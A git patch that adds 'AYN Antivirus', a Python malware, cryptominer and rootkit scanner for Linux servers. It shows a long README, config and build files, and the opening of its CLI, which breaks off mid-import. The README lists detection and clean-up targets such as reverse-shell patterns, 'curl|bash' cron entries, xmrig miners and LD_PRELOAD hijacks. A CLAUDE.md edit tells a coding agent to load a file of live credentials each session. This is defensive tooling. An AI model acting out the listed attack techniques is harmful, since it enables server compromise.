From a3c6d0935030ea5431bbf3db4e334bec79243bc0 Mon Sep 17 00:00:00 2001 From: Azreen Jamal Date: Tue, 3 Mar 2026 03:06:13 +0800 Subject: [PATCH] remove infra.md.example, infra.md is the source of truth --- .claude/infra.md.example | 37 - CLAUDE.md | 2 - ayn-antivirus/.env.sample | 8 + ayn-antivirus/.gitignore | 11 + ayn-antivirus/Makefile | 25 + ayn-antivirus/README.md | 574 ++++++++ ayn-antivirus/ayn_antivirus/__init__.py | 1 + ayn-antivirus/ayn_antivirus/__main__.py | 4 + ayn-antivirus/ayn_antivirus/cli.py | 1252 ++++++++++++++++ ayn-antivirus/ayn_antivirus/config.py | 142 ++ ayn-antivirus/ayn_antivirus/constants.py | 161 +++ ayn-antivirus/ayn_antivirus/core/__init__.py | 0 ayn-antivirus/ayn_antivirus/core/engine.py | 917 ++++++++++++ ayn-antivirus/ayn_antivirus/core/event_bus.py | 119 ++ ayn-antivirus/ayn_antivirus/core/scheduler.py | 215 +++ .../ayn_antivirus/dashboard/__init__.py | 7 + ayn-antivirus/ayn_antivirus/dashboard/api.py | 1159 +++++++++++++++ .../ayn_antivirus/dashboard/collector.py | 181 +++ .../ayn_antivirus/dashboard/server.py | 427 ++++++ .../ayn_antivirus/dashboard/store.py | 386 +++++ .../ayn_antivirus/dashboard/templates.py | 910 ++++++++++++ .../ayn_antivirus/detectors/__init__.py | 20 + .../ayn_antivirus/detectors/ai_analyzer.py | 268 ++++ ayn-antivirus/ayn_antivirus/detectors/base.py | 129 ++ .../detectors/cryptominer_detector.py | 317 ++++ .../detectors/heuristic_detector.py | 436 ++++++ .../detectors/rootkit_detector.py | 387 +++++ .../detectors/signature_detector.py | 192 +++ .../detectors/spyware_detector.py | 366 +++++ .../ayn_antivirus/detectors/yara_detector.py | 200 +++ .../ayn_antivirus/monitor/__init__.py | 0 .../ayn_antivirus/monitor/realtime.py | 265 ++++ .../ayn_antivirus/quarantine/__init__.py | 0 .../ayn_antivirus/quarantine/vault.py | 378 +++++ .../ayn_antivirus/remediation/__init__.py | 0 .../ayn_antivirus/remediation/patcher.py | 544 +++++++ .../ayn_antivirus/reports/__init__.py | 0 .../ayn_antivirus/reports/generator.py | 535 +++++++ .../ayn_antivirus/scanners/__init__.py | 17 + ayn-antivirus/ayn_antivirus/scanners/base.py | 58 + .../scanners/container_scanner.py | 1285 +++++++++++++++++ .../ayn_antivirus/scanners/file_scanner.py | 258 ++++ .../ayn_antivirus/scanners/memory_scanner.py | 332 +++++ .../ayn_antivirus/scanners/network_scanner.py | 328 +++++ .../ayn_antivirus/scanners/process_scanner.py | 387 +++++ .../ayn_antivirus/signatures/__init__.py | 0 .../ayn_antivirus/signatures/db/__init__.py | 0 .../ayn_antivirus/signatures/db/hash_db.py | 251 ++++ .../ayn_antivirus/signatures/db/ioc_db.py | 259 ++++ .../signatures/feeds/__init__.py | 0 .../signatures/feeds/base_feed.py | 92 ++ .../signatures/feeds/emergingthreats.py | 124 ++ .../signatures/feeds/feodotracker.py | 73 + .../signatures/feeds/malwarebazaar.py | 174 +++ .../signatures/feeds/threatfox.py | 117 ++ .../ayn_antivirus/signatures/feeds/urlhaus.py | 131 ++ .../signatures/feeds/virusshare.py | 114 ++ .../ayn_antivirus/signatures/manager.py | 320 ++++ .../signatures/yara_rules/.gitkeep | 0 ayn-antivirus/ayn_antivirus/utils/__init__.py | 0 ayn-antivirus/ayn_antivirus/utils/helpers.py | 179 +++ ayn-antivirus/ayn_antivirus/utils/logger.py | 101 ++ ayn-antivirus/bin/run-dashboard.sh | 25 + ayn-antivirus/bin/run-scanner.sh | 25 + .../config/ayn-antivirus-dashboard.service | 20 + .../config/ayn-antivirus-scanner.service | 20 + ayn-antivirus/pyproject.toml | 45 + ayn-antivirus/start-dashboard.sh | 39 + ayn-antivirus/tests/__init__.py | 0 ayn-antivirus/tests/test_cli.py | 88 ++ ayn-antivirus/tests/test_config.py | 88 ++ ayn-antivirus/tests/test_container_scanner.py | 405 ++++++ ayn-antivirus/tests/test_dashboard_api.py | 119 ++ ayn-antivirus/tests/test_dashboard_store.py | 148 ++ ayn-antivirus/tests/test_detectors.py | 48 + ayn-antivirus/tests/test_engine.py | 61 + ayn-antivirus/tests/test_event_bus.py | 117 ++ ayn-antivirus/tests/test_monitor.py | 95 ++ ayn-antivirus/tests/test_patcher.py | 139 ++ ayn-antivirus/tests/test_quarantine.py | 50 + ayn-antivirus/tests/test_reports.py | 54 + ayn-antivirus/tests/test_scheduler.py | 72 + ayn-antivirus/tests/test_security.py | 197 +++ ayn-antivirus/tests/test_signatures.py | 53 + ayn-antivirus/tests/test_utils.py | 49 + hub-check.png | Bin 0 -> 99439 bytes 86 files changed, 17093 insertions(+), 39 deletions(-) delete mode 100644 .claude/infra.md.example create mode 100644 ayn-antivirus/.env.sample create mode 100644 ayn-antivirus/.gitignore create mode 100644 ayn-antivirus/Makefile create mode 100644 ayn-antivirus/README.md create mode 100644 ayn-antivirus/ayn_antivirus/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/__main__.py create mode 100644 ayn-antivirus/ayn_antivirus/cli.py create mode 100644 ayn-antivirus/ayn_antivirus/config.py create mode 100644 ayn-antivirus/ayn_antivirus/constants.py create mode 100644 ayn-antivirus/ayn_antivirus/core/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/core/engine.py create mode 100644 ayn-antivirus/ayn_antivirus/core/event_bus.py create mode 100644 ayn-antivirus/ayn_antivirus/core/scheduler.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/api.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/collector.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/server.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/store.py create mode 100644 ayn-antivirus/ayn_antivirus/dashboard/templates.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/base.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/signature_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/detectors/yara_detector.py create mode 100644 ayn-antivirus/ayn_antivirus/monitor/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/monitor/realtime.py create mode 100644 ayn-antivirus/ayn_antivirus/quarantine/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/quarantine/vault.py create mode 100644 ayn-antivirus/ayn_antivirus/remediation/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/remediation/patcher.py create mode 100644 ayn-antivirus/ayn_antivirus/reports/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/reports/generator.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/base.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/container_scanner.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/file_scanner.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/network_scanner.py create mode 100644 ayn-antivirus/ayn_antivirus/scanners/process_scanner.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/db/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/manager.py create mode 100644 ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep create mode 100644 ayn-antivirus/ayn_antivirus/utils/__init__.py create mode 100644 ayn-antivirus/ayn_antivirus/utils/helpers.py create mode 100644 ayn-antivirus/ayn_antivirus/utils/logger.py create mode 100755 ayn-antivirus/bin/run-dashboard.sh create mode 100755 ayn-antivirus/bin/run-scanner.sh create mode 100644 ayn-antivirus/config/ayn-antivirus-dashboard.service create mode 100644 ayn-antivirus/config/ayn-antivirus-scanner.service create mode 100644 ayn-antivirus/pyproject.toml create mode 100755 ayn-antivirus/start-dashboard.sh create mode 100644 ayn-antivirus/tests/__init__.py create mode 100644 ayn-antivirus/tests/test_cli.py create mode 100644 ayn-antivirus/tests/test_config.py create mode 100644 ayn-antivirus/tests/test_container_scanner.py create mode 100644 ayn-antivirus/tests/test_dashboard_api.py create mode 100644 ayn-antivirus/tests/test_dashboard_store.py create mode 100644 ayn-antivirus/tests/test_detectors.py create mode 100644 ayn-antivirus/tests/test_engine.py create mode 100644 ayn-antivirus/tests/test_event_bus.py create mode 100644 ayn-antivirus/tests/test_monitor.py create mode 100644 ayn-antivirus/tests/test_patcher.py create mode 100644 ayn-antivirus/tests/test_quarantine.py create mode 100644 ayn-antivirus/tests/test_reports.py create mode 100644 ayn-antivirus/tests/test_scheduler.py create mode 100644 ayn-antivirus/tests/test_security.py create mode 100644 ayn-antivirus/tests/test_signatures.py create mode 100644 ayn-antivirus/tests/test_utils.py create mode 100644 hub-check.png diff --git a/.claude/infra.md.example b/.claude/infra.md.example deleted file mode 100644 index 5074e11..0000000 --- a/.claude/infra.md.example +++ /dev/null @@ -1,37 +0,0 @@ -# Infrastructure Access — TEMPLATE -# Copy to .claude/infra.md and fill in real values. -# Share the real file via 1Password / Vault / `age` encrypted blob — NEVER commit it. - -## Dokploy -- **Dashboard**: https://dokploy.example.com -- **API Token**: `dkp_...` -- **SSH User**: `deploy` -- **SSH Host**: `dokploy.example.com` -- **SSH Port**: `22` -- **SSH Key Path**: `~/.ssh/id_dokploy` ← or reference a 1Password SSH key - -## Servers -| Name | IP / Host | SSH User | Notes | -|------------|------------------------|----------|----------------| -| prod-1 | 10.0.0.1 | deploy | primary node | -| staging-1 | 10.0.0.2 | deploy | staging node | - -## Docker Registry -- **Registry**: `ghcr.io/your-org` -- **Username**: `bot` -- **Token**: `ghp_...` - -## DNS / Cloudflare -- **API Token**: `cf_...` -- **Zone ID**: `...` - -## Monitoring -- **Grafana URL**: https://grafana.example.com -- **API Key**: `eyJ...` - -## Database -- **Prod Postgres**: `postgres://user:pass@host:5432/db` -- **Staging Postgres**: `postgres://user:pass@host:5432/db_staging` - -## Other Secrets - diff --git a/CLAUDE.md b/CLAUDE.md index 2f7de7a..4892750 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,8 +2,6 @@ ## Infrastructure Access **Always read `.claude/infra.md` at the start of every session** — it contains live credentials and connection details. -To set up: copy `.claude/infra.md.example` → `.claude/infra.md` and fill in real values. -**Team distribution**: share the real file via 1Password shared vault (or `age`-encrypted blob, never git). Pi Coding Agent extension examples and experiments. diff --git a/ayn-antivirus/.env.sample b/ayn-antivirus/.env.sample new file mode 100644 index 0000000..66fe057 --- /dev/null +++ b/ayn-antivirus/.env.sample @@ -0,0 +1,8 @@ +AYN_MALWAREBAZAAR_API_KEY= +AYN_VIRUSTOTAL_API_KEY= +AYN_SCAN_PATH=/ +AYN_QUARANTINE_PATH=/var/lib/ayn-antivirus/quarantine +AYN_DB_PATH=/var/lib/ayn-antivirus/signatures.db +AYN_LOG_PATH=/var/log/ayn-antivirus/ +AYN_AUTO_QUARANTINE=false +AYN_SCAN_SCHEDULE=0 2 * * * diff --git a/ayn-antivirus/.gitignore b/ayn-antivirus/.gitignore new file mode 100644 index 0000000..0f2d571 --- /dev/null +++ b/ayn-antivirus/.gitignore @@ -0,0 +1,11 @@ +__pycache__ +*.pyc +.env +*.db +dist/ +build/ +*.egg-info +ayn_antivirus/signatures/yara_rules/*.yar +/quarantine_vault/ +.pytest_cache +.coverage diff --git a/ayn-antivirus/Makefile b/ayn-antivirus/Makefile new file mode 100644 index 0000000..2e3b71c --- /dev/null +++ b/ayn-antivirus/Makefile @@ -0,0 +1,25 @@ +.PHONY: install dev-install test lint scan update-sigs clean + +install: + pip install . + +dev-install: + pip install -e ".[dev]" + +test: + pytest --cov=ayn_antivirus tests/ + +lint: + ruff check ayn_antivirus/ + black --check ayn_antivirus/ + +scan: + ayn-antivirus scan + +update-sigs: + ayn-antivirus update + +clean: + rm -rf build/ dist/ *.egg-info .pytest_cache .coverage + find . -type d -name __pycache__ -exec rm -rf {} + + find . -type f -name '*.pyc' -delete diff --git a/ayn-antivirus/README.md b/ayn-antivirus/README.md new file mode 100644 index 0000000..5474603 --- /dev/null +++ b/ayn-antivirus/README.md @@ -0,0 +1,574 @@ +

+

+██████╗ ██╗   ██╗███╗   ██╗
+██╔══██╗╚██╗ ██╔╝████╗  ██║
+███████║ ╚████╔╝ ██╔██╗ ██║
+██╔══██║  ╚██╔╝  ██║╚██╗██║
+██║  ██║   ██║   ██║ ╚████║
+╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝
+⚔️ AYN ANTIVIRUS v1.0.0 ⚔️
+Server Protection Suite
+
+

+ +

+ Python 3.9+ + License: MIT + Platform: Linux + Version 1.0.0 +

+ +--- + +# AYN Antivirus + +**Comprehensive anti-virus, anti-malware, anti-spyware, and anti-cryptominer protection for Linux servers.** + +AYN Antivirus is a purpose-built security suite designed for server environments. It combines signature-based detection, YARA rules, heuristic analysis, and live system inspection to catch threats that traditional AV tools miss — from cryptominers draining your CPU to rootkits hiding in kernel modules. + +--- + +## Features + +- 🛡️ **Real-time file system monitoring** — watches directories with inotify/FSEvents via watchdog, scans new and modified files instantly +- 🔍 **Deep file scanning with multiple detection engines** — parallel, multi-threaded scans across signature, YARA, and heuristic detectors +- 🧬 **YARA rule support** — load custom and community YARA rules for flexible pattern matching +- 📊 **Heuristic analysis** — Shannon entropy scoring, obfuscation detection, reverse-shell patterns, permission anomalies +- ⛏️ **Cryptominer detection** — process-level, network-level, and file-content analysis (stratum URLs, wallet addresses, pool domains) +- 🕵️ **Spyware & keylogger detection** — identifies keyloggers, screen/audio capture tools, data exfiltration, and shell-profile backdoors +- 🦠 **Rootkit detection** — hidden processes, hidden kernel modules, LD_PRELOAD hijacking, tampered logs, hidden network ports +- 🌐 **Auto-updating threat signatures** — pulls from abuse.ch feeds (MalwareBazaar, ThreatFox, URLhaus, Feodo Tracker) and Emerging Threats +- 🔒 **Encrypted quarantine vault** — isolates malicious files with Fernet (AES-128-CBC + HMAC-SHA256) encryption and JSON metadata +- 🔧 **Auto-remediation & patching** — kills rogue processes, fixes permissions, blocks IPs/domains, cleans cron jobs, restores system binaries +- 📝 **Reports in Text, JSON, HTML** — generate human-readable or machine-parseable reports from scan results +- ⏰ **Scheduled scanning** — built-in cron-style scheduler for unattended operation + +--- + +## Quick Start + +```bash +# Install +pip install . + +# Update threat signatures +sudo ayn-antivirus update + +# Run a full scan +sudo ayn-antivirus scan + +# Quick scan (high-risk dirs only) +sudo ayn-antivirus scan --quick + +# Check protection status +ayn-antivirus status +``` + +--- + +## Installation + +### From pip (local) + +```bash +pip install . +``` + +### Editable install (development) + +```bash +pip install -e ".[dev]" +``` + +### From source with Make + +```bash +make install # production +make dev-install # development (includes pytest, black, ruff) +``` + +### System dependencies + +AYN uses [yara-python](https://github.com/VirusTotal/yara-python) for rule-based detection. On most systems pip handles this automatically, but you may need the YARA C library: + +| Distro | Command | +|---|---| +| **Debian / Ubuntu** | `sudo apt install yara libyara-dev` | +| **RHEL / CentOS / Fedora** | `sudo dnf install yara yara-devel` | +| **Arch** | `sudo pacman -S yara` | +| **macOS (Homebrew)** | `brew install yara` | + +After the system library is installed, `pip install yara-python` (or `pip install .`) will link against it. + +--- + +## Usage + +All commands accept `--verbose` / `-v` for detailed output and `--config ` to load a custom YAML config file. + +### File System Scanning + +```bash +# Full scan — all configured paths +sudo ayn-antivirus scan + +# Quick scan — /tmp, /var/tmp, /dev/shm, crontabs +sudo ayn-antivirus scan --quick + +# Deep scan — includes memory and hidden artifacts +sudo ayn-antivirus scan --deep + +# Scan a single file +ayn-antivirus scan --file /tmp/suspicious.bin + +# Targeted path with exclusions +sudo ayn-antivirus scan --path /home --exclude '*.log' --exclude '*.gz' +``` + +### Process Scanning + +```bash +# Scan running processes for miners & suspicious CPU usage +sudo ayn-antivirus scan-processes +``` + +Checks every running process against known miner names (xmrig, minerd, ethminer, etc.) and flags anything above the CPU threshold (default 80%). + +### Network Scanning + +```bash +# Inspect active connections for mining pool traffic +sudo ayn-antivirus scan-network +``` + +Compares remote addresses against known mining pool domains and suspicious ports (3333, 4444, 5555, 14444, etc.). + +### Update Signatures + +```bash +# Fetch latest threat intelligence from all feeds +sudo ayn-antivirus update + +# Force re-download even if signatures are fresh +sudo ayn-antivirus update --force +``` + +### Quarantine Management + +```bash +# List quarantined items +ayn-antivirus quarantine list + +# View details of a quarantined item +ayn-antivirus quarantine info 1 + +# Restore a quarantined file to its original location +sudo ayn-antivirus quarantine restore 1 + +# Permanently delete a quarantined item +ayn-antivirus quarantine delete 1 +``` + +### Real-Time Monitoring + +```bash +# Watch configured paths in the foreground (Ctrl+C to stop) +sudo ayn-antivirus monitor + +# Watch specific paths +sudo ayn-antivirus monitor --paths /var/www --paths /tmp + +# Run as a background daemon +sudo ayn-antivirus monitor --daemon +``` + +### Report Generation + +```bash +# Plain text report to stdout +ayn-antivirus report + +# JSON report to a file +ayn-antivirus report --format json --output /tmp/report.json + +# HTML report +ayn-antivirus report --format html --output report.html +``` + +### Auto-Fix / Remediation + +```bash +# Preview all remediation actions (no changes) +sudo ayn-antivirus fix --all --dry-run + +# Apply all remediations +sudo ayn-antivirus fix --all + +# Fix a specific threat by ID +sudo ayn-antivirus fix --threat-id 3 +``` + +### Status Check + +```bash +# View protection status at a glance +ayn-antivirus status +``` + +Displays signature freshness, last scan time, quarantine count, real-time monitor state, and engine toggles. + +### Configuration + +```bash +# Show active configuration +ayn-antivirus config + +# Set a config value (persisted to ~/.ayn-antivirus/config.yaml) +ayn-antivirus config --set auto_quarantine true +ayn-antivirus config --set scan_schedule '0 3 * * *' +``` + +--- + +## Configuration + +### Config file locations + +AYN loads configuration from the first file found (in order): + +| Priority | Path | +|---|---| +| 1 | Explicit `--config ` flag | +| 2 | `/etc/ayn-antivirus/config.yaml` | +| 3 | `~/.ayn-antivirus/config.yaml` | + +### Config file options + +```yaml +# Directories to scan +scan_paths: + - / +exclude_paths: + - /proc + - /sys + - /dev + - /run + - /snap + +# Storage +quarantine_path: /var/lib/ayn-antivirus/quarantine +db_path: /var/lib/ayn-antivirus/signatures.db +log_path: /var/log/ayn-antivirus/ + +# Behavior +auto_quarantine: false +scan_schedule: "0 2 * * *" +max_file_size: 104857600 # 100 MB + +# Engines +enable_yara: true +enable_heuristics: true +enable_realtime_monitor: false + +# API keys (optional) +api_keys: + malwarebazaar: "" + virustotal: "" +``` + +### Environment variables + +Environment variables override config file values. Copy `.env.sample` to `.env` and populate as needed. + +| Variable | Description | Default | +|---|---|---| +| `AYN_SCAN_PATH` | Comma-separated scan paths | `/` | +| `AYN_QUARANTINE_PATH` | Quarantine vault directory | `/var/lib/ayn-antivirus/quarantine` | +| `AYN_DB_PATH` | Signature database path | `/var/lib/ayn-antivirus/signatures.db` | +| `AYN_LOG_PATH` | Log directory | `/var/log/ayn-antivirus/` | +| `AYN_AUTO_QUARANTINE` | Auto-quarantine on detection (`true`/`false`) | `false` | +| `AYN_SCAN_SCHEDULE` | Cron expression for scheduled scans | `0 2 * * *` | +| `AYN_MAX_FILE_SIZE` | Max file size to scan (bytes) | `104857600` | +| `AYN_MALWAREBAZAAR_API_KEY` | MalwareBazaar API key | — | +| `AYN_VIRUSTOTAL_API_KEY` | VirusTotal API key | — | + +--- + +## Threat Intelligence Feeds + +AYN aggregates indicators from multiple open-source threat intelligence feeds: + +| Feed | Source | Data Type | +|---|---|---| +| **MalwareBazaar** | [bazaar.abuse.ch](https://bazaar.abuse.ch) | Malware sample hashes (SHA-256) | +| **ThreatFox** | [threatfox.abuse.ch](https://threatfox.abuse.ch) | IOCs — IPs, domains, URLs | +| **URLhaus** | [urlhaus.abuse.ch](https://urlhaus.abuse.ch) | Malware distribution URLs | +| **Feodo Tracker** | [feodotracker.abuse.ch](https://feodotracker.abuse.ch) | Botnet C2 IP addresses | +| **Emerging Threats** | [rules.emergingthreats.net](https://rules.emergingthreats.net) | Suricata / Snort IOCs | +| **YARA Rules** | Community & custom | Pattern-matching rules (`signatures/yara_rules/`) | + +Signatures are stored in a local SQLite database (`signatures.db`) with separate tables for hashes, IPs, domains, and URLs. Run `ayn-antivirus update` to pull the latest data. + +--- + +## Architecture + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ CLI (cli.py) │ +│ Click commands + Rich UI │ +└───────────────────────────────┬─────────────────────────────────┘ + │ + ┌───────────▼───────────┐ + │ Core Scan Engine │ + │ (core/engine.py) │ + └───┬────┬────┬────┬───┘ + │ │ │ │ + ┌─────────────┘ │ │ └─────────────┐ + ▼ ▼ ▼ ▼ + ┌─────────────────┐ ┌──────────────┐ ┌──────────────────────┐ + │ Detectors │ │ Scanners │ │ Monitor │ + │ ┌─────────────┐ │ │ ┌──────────┐ │ │ ┌──────────────────┐ │ + │ │ Signature │ │ │ │ File │ │ │ │ Real-time │ │ + │ │ YARA │ │ │ │ Process │ │ │ │ (watchdog) │ │ + │ │ Heuristic │ │ │ │ Network │ │ │ └──────────────────┘ │ + │ │ Cryptominer │ │ │ │ Memory │ │ └──────────────────────┘ + │ │ Spyware │ │ │ └──────────┘ │ + │ │ Rootkit │ │ └──────────────┘ + │ └─────────────┘ │ + └─────────────────┘ + │ ┌──────────────────────┐ + │ ┌───────────────────┐ │ Signatures │ + └───►│ Event Bus │ │ ┌──────────────────┐ │ + │ (core/event_bus) │ │ │ Feed Manager │ │ + └──────┬────────────┘ │ │ Hash DB │ │ + │ │ │ IOC DB │ │ + ┌──────────┼──────────┐ │ │ YARA Rules │ │ + ▼ ▼ ▼ │ └──────────────────┘ │ + ┌────────────┐ ┌────────┐ ┌───────┐ └──────────────────────┘ + │ Quarantine │ │Reports │ │Remedy │ + │ Vault │ │ Gen. │ │Patcher│ + │ (Fernet) │ │txt/json│ │ │ + │ │ │ /html │ │ │ + └────────────┘ └────────┘ └───────┘ +``` + +### Module summary + +| Module | Path | Responsibility | +|---|---|---| +| **CLI** | `cli.py` | User-facing commands (Click + Rich) | +| **Config** | `config.py` | YAML & env-var configuration loader | +| **Engine** | `core/engine.py` | Orchestrates file/process/network scans | +| **Event Bus** | `core/event_bus.py` | Internal pub/sub for scan events | +| **Scheduler** | `core/scheduler.py` | Cron-based scheduled scans | +| **Detectors** | `detectors/` | Pluggable detection engines (signature, YARA, heuristic, cryptominer, spyware, rootkit) | +| **Scanners** | `scanners/` | File, process, network, and memory scanners | +| **Monitor** | `monitor/realtime.py` | Watchdog-based real-time file watcher | +| **Quarantine** | `quarantine/vault.py` | Fernet-encrypted file isolation vault | +| **Remediation** | `remediation/patcher.py` | Auto-fix engine (kill, block, clean, restore) | +| **Reports** | `reports/generator.py` | Text, JSON, and HTML report generation | +| **Signatures** | `signatures/` | Feed fetchers, hash DB, IOC DB, YARA rules | + +--- + +## Auto-Patching Capabilities + +The remediation engine (`ayn-antivirus fix`) can automatically apply the following fixes: + +| Action | Description | +|---|---| +| **Fix permissions** | Strips SUID, SGID, and world-writable bits from compromised files | +| **Kill processes** | Sends SIGKILL to confirmed malicious processes (miners, reverse shells) | +| **Block IPs** | Adds `iptables` DROP rules for C2 and mining pool IP addresses | +| **Block domains** | Redirects malicious domains to `127.0.0.1` via `/etc/hosts` | +| **Clean cron jobs** | Removes entries matching suspicious patterns (curl\|bash, xmrig, etc.) | +| **Fix LD_PRELOAD** | Clears `/etc/ld.so.preload` entries injected by rootkits | +| **Clean SSH keys** | Removes `command=` forced-command entries from `authorized_keys` | +| **Remove startup entries** | Strips malicious lines from init scripts, systemd units, and `rc.local` | +| **Restore binaries** | Reinstalls tampered system binaries via `apt`/`dnf`/`yum` package manager | + +> **Tip:** Always run with `--dry-run` first to preview changes before applying. + +--- + +## Running as a Service + +Create a systemd unit to run AYN as a persistent real-time monitor: + +```ini +# /etc/systemd/system/ayn-antivirus.service +[Unit] +Description=AYN Antivirus Real-Time Monitor +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/ayn-antivirus monitor --daemon +ExecReload=/bin/kill -HUP $MAINPID +Restart=on-failure +RestartSec=10 +User=root +Group=root + +# Hardening +ProtectSystem=strict +ReadWritePaths=/var/lib/ayn-antivirus /var/log/ayn-antivirus +NoNewPrivileges=false +PrivateTmp=true + +[Install] +WantedBy=multi-user.target +``` + +```bash +# Enable and start +sudo systemctl daemon-reload +sudo systemctl enable ayn-antivirus +sudo systemctl start ayn-antivirus + +# Check status +sudo systemctl status ayn-antivirus + +# View logs +sudo journalctl -u ayn-antivirus -f +``` + +Optionally add a timer unit for scheduled signature updates: + +```ini +# /etc/systemd/system/ayn-antivirus-update.timer +[Unit] +Description=AYN Antivirus Signature Update Timer + +[Timer] +OnCalendar=*-*-* 02:00:00 +Persistent=true + +[Install] +WantedBy=timers.target +``` + +```ini +# /etc/systemd/system/ayn-antivirus-update.service +[Unit] +Description=AYN Antivirus Signature Update + +[Service] +Type=oneshot +ExecStart=/usr/local/bin/ayn-antivirus update +User=root +``` + +```bash +sudo systemctl enable --now ayn-antivirus-update.timer +``` + +--- + +## Development + +### Prerequisites + +- Python 3.9+ +- [YARA](https://virustotal.github.io/yara/) C library (for yara-python) + +### Setup + +```bash +git clone +cd ayn-antivirus +pip install -e ".[dev]" +``` + +### Run tests + +```bash +make test +# or directly: +pytest --cov=ayn_antivirus tests/ +``` + +### Lint & format + +```bash +make lint +# or directly: +ruff check ayn_antivirus/ +black --check ayn_antivirus/ +``` + +### Auto-format + +```bash +black ayn_antivirus/ +``` + +### Project layout + +``` +ayn-antivirus/ +├── ayn_antivirus/ +│ ├── __init__.py # Package version +│ ├── __main__.py # python -m ayn_antivirus entry point +│ ├── cli.py # Click CLI commands +│ ├── config.py # Configuration loader +│ ├── constants.py # Thresholds, paths, known indicators +│ ├── core/ +│ │ ├── engine.py # Scan engine orchestrator +│ │ ├── event_bus.py # Internal event system +│ │ └── scheduler.py # Cron-based scheduler +│ ├── detectors/ +│ │ ├── base.py # BaseDetector ABC + DetectionResult +│ │ ├── signature_detector.py +│ │ ├── yara_detector.py +│ │ ├── heuristic_detector.py +│ │ ├── cryptominer_detector.py +│ │ ├── spyware_detector.py +│ │ └── rootkit_detector.py +│ ├── scanners/ +│ │ ├── file_scanner.py +│ │ ├── process_scanner.py +│ │ ├── network_scanner.py +│ │ └── memory_scanner.py +│ ├── monitor/ +│ │ └── realtime.py # Watchdog-based file watcher +│ ├── quarantine/ +│ │ └── vault.py # Fernet-encrypted quarantine +│ ├── remediation/ +│ │ └── patcher.py # Auto-fix engine +│ ├── reports/ +│ │ └── generator.py # Report output (text/json/html) +│ ├── signatures/ +│ │ ├── manager.py # Feed orchestrator +│ │ ├── db/ # Hash DB + IOC DB (SQLite) +│ │ ├── feeds/ # Feed fetchers (abuse.ch, ET, etc.) +│ │ └── yara_rules/ # .yar rule files +│ └── utils/ +│ ├── helpers.py +│ └── logger.py +├── tests/ # pytest test suite +├── pyproject.toml # Build config & dependencies +├── Makefile # Dev shortcuts +├── .env.sample # Environment variable template +└── README.md +``` + +### Contributing + +1. Fork the repo and create a feature branch +2. Write tests for new functionality +3. Ensure `make lint` and `make test` pass +4. Submit a pull request + +--- + +## License + +This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details. + +--- + +

+ ⚔️ Stay protected. Stay vigilant. ⚔️ +

diff --git a/ayn-antivirus/ayn_antivirus/__init__.py b/ayn-antivirus/ayn_antivirus/__init__.py new file mode 100644 index 0000000..1f356cc --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__init__.py @@ -0,0 +1 @@ +__version__ = '1.0.0' diff --git a/ayn-antivirus/ayn_antivirus/__main__.py b/ayn-antivirus/ayn_antivirus/__main__.py new file mode 100644 index 0000000..c1dd09f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__main__.py @@ -0,0 +1,4 @@ +from ayn_antivirus.cli import main + +if __name__ == "__main__": + main() diff --git a/ayn-antivirus/ayn_antivirus/cli.py b/ayn-antivirus/ayn_antivirus/cli.py new file mode 100644 index 0000000..4e6fcf1 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/cli.py @@ -0,0 +1,1252 @@ +"""AYN Antivirus — CLI interface. + +Main entry point for all user-facing commands. Built with Click and Rich. +""" + +from __future__ import annotations + +import json +import sys +import time +from datetime import datetime +from pathlib import Path +from typing import Optional + +import click +from rich.console import Console +from rich.panel import Panel +from rich.progress import ( + BarColumn, + MofNCompleteColumn, + Progress, + SpinnerColumn, + TextColumn, + TimeElapsedColumn, + TimeRemainingColumn, +) +from rich.table import Table +from 